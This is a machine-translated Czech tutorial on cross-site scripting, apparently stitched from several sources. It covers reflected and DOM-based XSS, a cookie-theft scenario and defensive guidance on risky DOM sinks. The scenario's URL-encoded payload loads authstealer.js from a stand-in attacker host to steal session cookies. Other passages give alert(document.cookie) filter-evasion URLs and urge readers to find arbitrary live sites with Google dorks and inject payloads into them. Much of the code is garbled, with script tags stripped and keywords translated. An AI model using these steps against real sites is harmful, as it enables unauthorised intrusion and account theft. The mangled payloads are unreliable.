- Na webu je vyhledávání, které spolu s výsledky vyhledávání zobrazuje něco jako „Hledali jste: [hledaný řetězec]“ a data nejsou správně filtrována. Vzhledem k tomu, že se taková stránka zobrazí pouze osobě, která na ni má odkaz, nebude útok fungovat, dokud útočník neodešle odkaz dalším uživatelům webu. Místo odeslání odkazu oběti můžete použít umístění škodlivého skriptu na neutrální stránku, kterou oběť navštíví.
Také rozlišují (některé jako typ netrvalých XSS zranitelností, někteří říkají, že tento typ může být také typem perzistentních XSS):
- Modely DOM
Velmi zjednodušeně řečeno, můžeme vidět škodlivý kód „běžného“ neperzistentního XSS, pokud otevřeme HTML kód. Odkaz je vytvořen například takto:
Http://example.com/search.php?q="/>upozornění(1)
A když otevřeme zdrojový HTML kód, uvidíme něco takového:
alert(1)" /> Najít
A DOM XSS mění strukturu DOM, která se tvoří v prohlížeči za běhu a škodlivý kód můžeme vidět pouze při prohlížení vygenerované struktury DOM. HTML se nemění. Vezměme si tento kód jako příklad:
site:::DOM XSS Došlo k chybě... function OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var results = location.hash .match(".*input=token(" + r4c + ");"); if (výsledky) ( document.getElementById("default").innerHTML = ""; return (unescape(results)); ) else ( return null; ) ) display_session = OnLoad(); document.write("ID vaší relace bylo: " + display_session + "
")
Poté v prohlížeči uvidíme:
Zdrojový kód stránky:
Vytvořme adresu takto:
Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);
Nyní stránka vypadá takto:
Ale pojďme se podívat zdroj HTML:
Nezměnilo se tam vůbec nic. To je to, o čem jsem mluvil, musíme se podívat na strukturu DOM dokumentu, abychom identifikovali škodlivý kód:
Zde je funkční prototyp XSS, pro skutečný útok potřebujeme složitější payload, což není možné z důvodu, že aplikace přestane číst hned za středníkem a něco jako alert(1);alert(2) není déle možné. Díky unescape() však můžeme v návratových datech použít následující užitečné zatížení:
Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);
Kde jsme nahradili symbol ; na ekvivalent zakódovaný URI!
Nyní můžeme napsat škodlivý obsah JavaScriptu a vytvořit odkaz, který pošleme oběti, jak se to dělá u standardního neperzistentního skriptování mezi weby.
Auditor XSSV Google Chrome(a také v Opeře, která nyní používá engine Google Chrome), mě čekalo toto překvapení:
dom_xss.html:30 XSS Auditor odmítl spustit skript v "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" protože jeho zdrojový kód byl nalezen v požadavku. Auditor byl povolen, protože server neodeslal ani hlavičku „X-XSS-Protection“ ani „Content-Security-Policy“.
Tito. prohlížeč má nyní XSS auditora, který se pokusí zabránit XSS. Firefox tuto funkcionalitu zatím nemá, ale myslím, že je to otázka času. Pokud bude implementace v prohlížečích úspěšná, pak můžeme mluvit o značné obtížnosti používání XSS.
Je dobré si to pamatovat moderní prohlížeče podnikají kroky k omezení úrovně využívání problémů, jako jsou neperzistentní XSS a XSS založené na DOM. To je také něco, na co je třeba pamatovat při testování webových stránek pomocí prohlížeče – může se dobře ukázat, že webová aplikace je zranitelná, ale potvrzení vyskakovacího okna nevidíte pouze proto, že ji prohlížeč blokuje.
Příklady využití XSSÚtočníci, kteří mají v úmyslu zneužít zranitelnosti skriptování mezi weby, musí ke každé třídě zranitelnosti přistupovat odlišně. Zde jsou popsány útočné vektory pro každou třídu.
Pro zranitelnosti XSS mohou útoky využít BeEF, které rozšiřuje útok z webu na lokální prostředí uživatelů.
Příklad neperzistentního XSS útoku
1. Alice často navštěvuje určitou webovou stránku hostovanou Bobem. Bobův web umožňuje Alici přihlásit se pomocí uživatelského jména/hesla a ukládat citlivé údaje, jako jsou platební údaje. Když se uživatel přihlásí, prohlížeč ukládá autorizační cookies, které vypadají jako nesmyslné znaky, tzn. oba počítače (klient i server) si pamatují, že zadala.
2. Mallory poznamenává, že Bobův web obsahuje netrvalou chybu zabezpečení XSS:
2.1 Když navštívíte vyhledávací stránku, zadejte vyhledávací řetězec a klikněte na tlačítko Odeslat, pokud nejsou nalezeny žádné výsledky, stránka zobrazí zadaný vyhledávací řetězec následovaný slovy „nenalezeno“ a adresa URL vypadá jako http://bobssite .org?q= ji vyhledávací dotaz
2.2 Při běžném vyhledávacím dotazu, jako je slovo „psi“, stránka jednoduše zobrazí „nenalezeni žádní psi“ a adresu URL http://bobssite.org?q=psi, což je zcela normální chování.
2.3 Pokud však dojde k anomálnímu vyhledávacímu dotazu jako alert("xss"); :
2.3.1 Zobrazí se varovná zpráva (která říká „xss“).
2.3.2 Stránka zobrazuje alert("xss"); nebyl nalezen spolu s chybovou zprávou s textem "xss".
2.3.3 url vhodná pro zneužití http://bobssite.org?q=alert("xss");
3. Mallory vytvoří adresu URL, aby využil zranitelnosti:
3.1 Vytvoří URL http://bobssite.org?q=puppies. Může se rozhodnout převést znaky ASCII do hexadecimálního formátu, jako je http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E v pořadí aby zabránili lidem v okamžitém rozluštění škodlivé adresy URL.
3.2 Pošle e-maily některým nic netušícím členům Bobova webu se slovy: "Podívejte se na skvělé psy."
4. Alice dostane dopis. Miluje psy a klikne na odkaz. Ve vyhledávání přejde na Bobovy stránky, nic nenajde, zobrazí se tam „no dog found“ a úplně uprostřed se spustí značka se skriptem (na obrazovce není vidět), stáhne a spustí Maloryho program authstealer.js (spuštění XSS útoku). Alice na to zapomene.
5. Program authstealer.js běží v Alicině prohlížeči, jako by pocházel z Bobových stránek. Vezme kopii Aliciných autorizačních cookies a pošle je na Maloryho server, kde je Malory získá.
7. Nyní, když je Malorie uvnitř, přejde do platební části webu, podívá se a ukradne kopii čísla kreditní karta Alice. Pak jde a změní heslo, tzn. Teď už Alice nemůže ani vstoupit.
8. Rozhodne se udělat další krok a pošle takto vytvořený odkaz samotnému Bobovi, čímž získá administrátorská oprávnění pro Bobův web.
Trvalý útok XSS
Dorky pro XSS
Prvním krokem je výběr stránek, na kterých budeme provádět XSS útoky. Stránky lze vyhledávat pomocí Google dorks. Zde je několik z těchto dork, které můžete zkopírovat a vložit do vyhledávání Google:
- inurl:search.php?q=
- inurl:.php?q=
- inurl:search.php
- inurl:.php?search=
Otevře se před námi seznam stránek. Musíte otevřít web a najít na něm vstupní pole, například formulář zpětná vazba, vstupní formulář, vyhledávání na webu atd.
Hned podotýkám, že hledat zranitelnosti v oblíbených automaticky aktualizovaných webových aplikacích je téměř zbytečné. Klasickým příkladem takové aplikace je WordPress. Ve skutečnosti jsou ve WordPressu, a zejména v jeho pluginech, zranitelnosti. Navíc existuje mnoho stránek, které neaktualizují ani WordPress engine (kvůli tomu, že webmaster provedl nějaké změny ve zdrojovém kódu), ani jejich pluginy a témata (zpravidla se jedná o pirátské pluginy a témata). Pokud si ale přečtete tuto sekci a dozvíte se z ní něco nového, tak WordPress pro vás zatím není... Určitě se k němu později vrátíme.
Nejlepšími cíli jsou různé vlastní enginy a skripty.
Můžete vybrat vložit užitečné zatížení jako
upozornění (1)
Věnujte pozornost tomu, do kterých značek HTML kódu spadá váš vložený kód. Zde je příklad typického vstupního pole:
upozornění (1)
Naše užitečné zatížení skončí tam, kde je nyní slovo "povlak na polštář". Tito. změní na hodnotu vstupní značky. Tomu se můžeme vyhnout – zavřeme to dvojitá citace a poté samotnou značku pomocí "/>
"/>upozornění(1)
Zkusme to na nějakém webu:
Skvělé, je tam zranitelnost
Pravděpodobně všechny skenery webových aplikací mají vestavěný skener zranitelnosti XSS. Toto téma není obsáhlé, je lepší se s každým podobným skenerem seznámit zvlášť.
Všichni víme, co je to skriptování mezi weby, že? Jedná se o chybu zabezpečení, při které útočník odesílá škodlivá data (obvykle HTML obsahující kód Javascript), která později aplikace vrátí a způsobí spuštění kódu Javascript. Tak to není pravda! Existuje typ XSS útoku, který neodpovídá této definici, alespoň v jejích základních základních principech. XSS útoky, jak je definováno výše, se dělí na okamžité (škodlivá data jsou vložena do stránky, která je vrácena prohlížeči ihned po požadavku) a zpožděné (škodlivá data jsou vrácena po nějaké době). Existuje však třetí typ XSS útoku, který není založen na odesílání škodlivých dat na server. Ačkoli se to zdá kontraintuitivní, existují dva dobře zdokumentované příklady takového útoku. Tento článek popisuje třetí typ XSS útoků – XSS přes DOM (DOM Based XSS). Nic zásadně nového o útoku zde psát nebude, spíše inovace tohoto materiálu je ve zvýraznění charakteristických rysů útoku, které jsou velmi důležité a zajímavé.
Vývojáři aplikací a uživatelé musí pochopit principy útoků XSS prostřednictvím DOM, protože pro ně představují hrozbu webové aplikace a liší se od běžného XSS. Na internetu existuje mnoho webových aplikací, které jsou zranitelné vůči XSS prostřednictvím DOM a zároveň testovány na XSS a shledány jako „nezranitelné“ vůči tomuto typu útoku. Vývojáři a správci stránek by se měli seznámit s technikami detekce a ochrany proti XSS prostřednictvím DOM, protože tyto techniky se liší od technik používaných k řešení standardních zranitelností XSS.
ÚvodČtenář by měl být obeznámen se základními principy XSS útoků (, , , , ). XSS obvykle označuje instant() a líné skriptování mezi weby. S instant XSS je škodlivý kód (Javascript) vrácen napadeným serverem okamžitě jako odpověď na HTTP požadavek. Odložené XSS znamená, že škodlivý kód je uložen v napadeném systému a může být do něj později vložen HTML stránku zranitelný systém. Jak bylo uvedeno výše, tato klasifikace předpokládá, že základní vlastností XSS je, že škodlivý kód je odeslán z prohlížeče na server a vrácen do stejného prohlížeče (flash XSS) nebo jakéhokoli jiného prohlížeče (zpožděné XSS). Tento článek nastoluje problém, že se jedná o nesprávnou klasifikaci. Schopnost provést útok XSS, který se nespoléhá na vložení kódu do stránky vrácené serverem, by měla velký dopad na zabezpečení a detekční techniky. Principy takových útoků jsou diskutovány v tomto článku.
Příklad a komentářePřed popisem nejjednoduššího scénáře útoku je důležité zdůraznit, že zde popsané metody již byly veřejně několikrát demonstrovány (například , a ). Netvrdím, že níže uvedené metody jsou popsány poprvé (ačkoli se některé z nich liší od dříve publikovaných materiálů).
Známkou zranitelného webu může být přítomnost stránky HTML, která nezabezpečeným způsobem využívá data z document.location, document.URL nebo document.referrer (nebo jakýchkoli jiných objektů, které může útočník ovlivnit).
Poznámka pro čtenáře, kteří s tím nejsou obeznámeni Javascriptové objekty: Když kód Javascript běží v prohlížeči, přistupuje k více objektům reprezentovaným v rámci DOM (Document Object Model - Objektový model dokument). Objekt dokumentu je hlavním z těchto objektů a poskytuje přístup k většině vlastností stránky. Tento objekt obsahuje mnoho vnořených objektů, jako je umístění, adresa URL a referrer. Jsou ovládány prohlížečem podle pohledu prohlížeče (jak bude vidět níže, je to dost podstatné). Document.URL a document.location tedy obsahují URL stránky, přesněji to, co prohlížeč myslí URL. Upozorňujeme, že tyto objekty nejsou převzaty z těla stránky HTML. Objekt dokumentu obsahuje objekt body obsahující analyzovaný kód HTML stránky.
Není těžké najít HTML stránku obsahující kód Javascript, který analyzuje řetězec URL (přístupný přes document.URL nebo document.location) a podle své hodnoty provádí některé akce na straně klienta. Níže je uveden příklad takového kódu.
Analogicky s příkladem v, zvažte následující HTML stránku (za předpokladu, že obsah je http://www.vulnerable.site/welcome.html):
Vítejte! Ahoj var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length));
Vítejte v našem systému…
Nicméně dotaz jako je tento -
http://www.vulnerable.site/welcome.html?name=alert(document.cookie)
způsobí XSS. Podívejme se proč: prohlížeč oběti po obdržení tohoto odkazu odešle HTTP požadavek na www.vulnerable.site a obdrží výše zmíněnou (statickou!) HTML stránku. Prohlížeč oběti začne analyzovat tento HTML kód. DOM obsahuje objekt dokumentu, který má pole URL a toto pole je vyplněno hodnotou adresy URL aktuální stránku probíhá vytvoření DOM. Když parser dosáhne kódu Javascript, spustí jej, což způsobí úpravu HTML kódu zobrazené stránky. V tomto případě kód odkazuje na document.URL a protože část tohoto řetězce je během analýzy vložena do kódu HTML, který je okamžitě analyzován, je detekovaný kód (alert(...)) spuštěn v kontextu stejné stránky.
Poznámky:
1. Škodlivý kód není vložen do stránky HTML (na rozdíl od jiných typů XSS).
2. Tento exploit bude fungovat za předpokladu, že prohlížeč nezmění znaky URL. Mozilla automaticky kóduje znaky '' (v %3C a %3E) ve vnořených objektech dokumentu. Pokud byla adresa URL zadána přímo do adresního řádku, tento prohlížeč není zranitelný vůči útoku popsanému v tomto příkladu. Pokud však útok nevyžaduje znaky '' (v původní nezakódované podobě), lze útok provést. Microsoft internet Explorer 6.0 nekóduje '' a je tedy zranitelný vůči popsanému útoku bez jakýchkoli omezení. Existuje však mnoho různých scénářů útoku, které nevyžadují '', a proto ani Mozilla není vůči tomuto útoku imunní.
Ve výše uvedeném příkladu je škodlivý kód stále odesílán na server (jako součást HTTP požadavku), takže útok lze detekovat stejně jako jakýkoli jiný XSS útok. Ale to je řešitelný problém.
Zvažte následující příklad:
http://www.vulnerable.site/welcome.html#name=alert(document.cookie)
Všimněte si symbolu '#' vpravo od názvu souboru. Řekne prohlížeči, že vše za tímto znakem není součástí požadavku. Microsoft Internet Explorer (6.0) a Mozilla neposílají na server fragment za znakem '#', takže pro server bude tento požadavek ekvivalentní http://www.vulnerable.site/welcome.html, tj. škodlivý kód si server ani nevšimne. Díky této technice tedy prohlížeč neposílá na server škodlivý náklad.
V některých případech však není možné skrýt obsah: škodlivý obsah je součástí uživatelského jména v adrese URL, jako je http://username@host/. V tomto případě prohlížeč odešle požadavek s hlavičkou Authorization obsahující uživatelské jméno (malicious payload), což má za následek, že se na server dostane škodlivý kód (kódováno Base64 – proto musí IDS/IPS tato data nejprve dekódovat, aby detekoval útok). Server však není povinen vložit toto užitečné zatížení do jedné z dostupných HTML stránek, i když je to nezbytná podmínka pro provedení XSS útoku.
Je zřejmé, že v situacích, kdy může být užitečné zatížení zcela skryto, nemohou detekční (IPS) a preventivní nástroje (IPS, firewally webových aplikací) zcela ochránit před tímto útokem. I když je třeba datové zatížení odeslat na server, v mnoha případech může být určitým způsobem transformováno, aby se zabránilo detekci. Pokud je například některý parametr chráněn (například parametr name ve výše uvedeném příkladu), malá změna v útočném skriptu může vést k následujícímu výsledku:
(dokument.cookie)
Přísnější bezpečnostní politika by vyžadovala odeslání parametru name. V tomto případě můžete podat následující žádost:
http://www.vulnerable.site/welcome.html?notname=alert(document.cookie)&name=Joe
Pokud vaše zásady zabezpečení omezují další názvy parametrů (například: foobar), můžete použít následující možnost:
http://www.vulnerable.site/welcome.html?foobar=name=alert(document.cookie)&name=Joe
Upozorňujeme, že ignorovaný parametr (foobar) musí být na prvním místě a ve své hodnotě musí obsahovat užitečné zatížení.
Scénář útoku popsaný v je pro útočníka ještě výhodnější, protože do stránky HTML je zapsána plná hodnota document.location (kód Javascriptu nehledá konkrétní název parametru). Útočník by tedy mohl zcela skrýt užitečné zatížení odesláním následujícího:
/attachment.cgi?id=&action=foobar#alert(document.cookie)
I když je datová část analyzována serverem, ochranu lze zaručit pouze v případě, že je požadavek odmítnut nebo je odpověď nahrazena nějakým chybovým textem. Znovu s odkazem na a: pokud je záhlaví Authorization jednoduše odstraněno zprostředkujícím bezpečnostním systémem, nebude to mít žádný účinek, pokud bude vrácena původní stránka. Stejně tak bude proti tomuto útoku neúčinný jakýkoli pokus o zpracování dat na serveru odstraněním nebo zakódováním nelegálních znaků.
V případě document.referrer je datová část odeslána na server prostřednictvím hlavičky Referer. Pokud však prohlížeč nebo zprostředkující ochrana uživatele tuto hlavičku odstraní, nezůstane po útoku, který může zůstat zcela neodhalen, žádná stopa.
Abychom to shrnuli, uzavíráme to tradiční metody, jmenovitě
1. Kódování dat HTML na straně serveru
2. Odstraňování/kódování zakázaných vstupů na straně serveru nefunguje proti DOM XSS.
Automatické vyhledávání zranitelných míst „bombardováním“ škodlivých dat (někdy nazývané fuzzing) nebude fungovat, protože programy používající tuto techniku obvykle vyvozují závěry na základě toho, zda jsou vložená data přítomna na vrácené stránce nebo ne (místo spuštění kódu v kontextu prohlížeče na straně klienta a sledování výsledků). Pokud však program dokáže staticky analyzovat kód Javascript nalezený na stránce, může upozorňovat na podezřelé znaky (viz níže). A samozřejmě, pokud bezpečnostní nástroje dokážou spustit kód Javascript (a správně inicializovat objekty DOM) nebo takové spuštění emulovat, budou schopny tento útok detekovat.
Manuální vyhledávání zranitelnosti pomocí prohlížeče bude také fungovat, protože prohlížeč může spouštět kód Javascript na straně klienta. Nástroje pro zranitelnost mohou tuto metodu převzít a spouštět kód na straně klienta ke sledování výsledků jejího provádění.
Účinná ochrana
Vyhněte se přepisování dokumentů na straně klienta, přesměrování nebo jiným podobným akcím, které využívají data na straně klienta. Většinu těchto akcí lze provést pomocí dynamické stránky(strana serveru).
2.
Analýza a zlepšení zabezpečení kódu (Javascript) na straně klienta. Odkazy na objekty DOM, které může uživatel (útočník) ovlivnit, musí být pečlivě kontrolovány. Zvláštní pozornost by měla být věnována následujícím objektům (avšak neomezujícím se na ně):
* document.URL
* document.URLNekódované
* document.location (a jeho vlastnosti)
* dokument.referrer
* window.location (a jeho vlastnosti)
Všimněte si, že na vlastnosti objektů dokumentu a okna lze odkazovat několika způsoby: explicitně (příklad: window.location), implicitně (příklad: location) nebo získáním handle a jeho použitím (příklad: handle_to_some_window.location).
Zvláštní pozornost by měla být věnována kódu, kde je DOM modifikován, ať už explicitně nebo potenciálně, prostřednictvím přímého přístupu k HTML nebo prostřednictvím přístupu přímo k DOM. Příklady (toto v žádném případě není vyčerpávající seznam):
* Vstup do HTML kódu stránky:
o document.write(…)
o document.writeln(…)
o document.body.innerHtml=…
* Přímá změna DOM (včetně událostí DHTML):
o document.forms.action=… (a další varianty)
o document.attachEvent(…)
o document.create…(…)
o document.execCommand(…)
o dokument.tělo. ... (přístup k DOM přes objekt těla)
o window.attachEvent(…)
* Změna adresy URL dokumentu:
o document.location=… (stejně jako přiřazení hodnot href, host a hostname k objektu location)
o document.location.hostname=…
o document.location.replace(…)
o document.location.assign(…)
o document.URL=…
o window.navigate(…)
* Otevření/úprava objektu okna:
o document.open(…)
o window.open(…)
o window.location.href=… (stejně jako přiřazení hodnot hostitele a názvu hostitele k objektu umístění)
* Přímé spuštění skriptu:
o eval (…)
o window.execScript(…)
o window.setInterval(…)
o window.setTimeout(…)
Pokračujeme ve výše uvedeném příkladu pro účinná ochrana Původní skript lze nahradit následujícím kódem, který kontroluje řetězec zapsaný na stránce HTML, aby se ujistil, že obsahuje pouze alfanumerické znaky.